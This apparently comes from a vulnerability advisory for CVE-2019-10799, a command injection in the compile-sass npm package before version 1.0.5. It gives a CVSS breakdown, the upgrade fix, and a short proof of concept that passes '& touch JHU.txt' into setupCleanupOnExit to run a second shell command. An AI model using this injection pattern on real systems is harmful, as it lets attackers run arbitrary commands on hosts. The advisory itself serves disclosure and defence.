Command Injection

Affecting compile-sass package, versions <1.0.5

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

compile-sass is a module to compile SASS on-the-fly and/or save it to CSS files.

Affected versions of this package are vulnerable to Command Injection. The function setupCleanupOnExit(cssPath) within dist/index.js is executed as part of the rm command without any sanitization.

PoC by JHU System Security Lab

function sleep(millis) {
    return new Promise(resolve => setTimeout(resolve, millis));
}
async function main(){
    var a = require('compile-sass');
    a.setupCleanupOnExit('& touch JHU.txt');
    console.log('Press Ctrl-C in 3 seconds...')
    await sleep(3000);
}
main();

Remediation

Upgrade compile-sass to version 1.0.5 or higher.

References

CVSS Score

8.2
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    Low
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N/E:P/RL:O/RC:C
Credit
JHU System Security Lab
CVE
CVE-2019-10799
CWE
CWE-78
Snyk ID
SNYK-JS-COMPILESASS-551804
Disclosed
21 Feb, 2020
Published
21 Feb, 2020